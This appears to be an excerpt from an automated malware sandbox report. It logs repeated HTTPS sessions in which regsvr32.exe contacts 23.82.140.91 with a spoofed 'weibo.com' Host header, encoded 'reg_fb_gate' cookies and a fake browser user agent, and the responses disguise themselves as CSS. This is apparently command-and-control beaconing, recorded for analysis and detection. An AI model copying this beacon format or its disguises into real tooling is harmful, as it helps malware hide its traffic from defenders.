Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

152 192.168.2.6 50002 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:12 UTC 1393 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:12 UTC 1395 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:12 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:12 UTC 1395 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

153 192.168.2.6 50003 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:12 UTC 1397 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:13 UTC 1398 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:13 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:13 UTC 1398 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

154 192.168.2.6 50004 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:16 UTC 1400 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:16 UTC 1402 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:16 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:16 UTC 1402 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

155 192.168.2.6 50005 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:16 UTC 1400 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:17 UTC 1403 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:17 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:17 UTC 1404 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

156 192.168.2.6 50006 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:16 UTC 1401 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:17 UTC 1405 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:17 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:17 UTC 1406 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

157 192.168.2.6 50007 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:17 UTC 1407 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:17 UTC 1408 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:17 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:17 UTC 1408 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

158 192.168.2.6 50008 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:20 UTC 1410 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:20 UTC 1410 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:20 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:20 UTC 1411 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

159 192.168.2.6 50009 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:21 UTC 1412 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:22 UTC 1413 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:22 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:22 UTC 1413 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

16 192.168.2.6 49777 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:26 UTC 1054 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:26 UTC 1054 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:26 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:26 UTC 1055 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

160 192.168.2.6 50010 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:22 UTC 1415 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:23 UTC 1416 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:22 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:23 UTC 1416 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
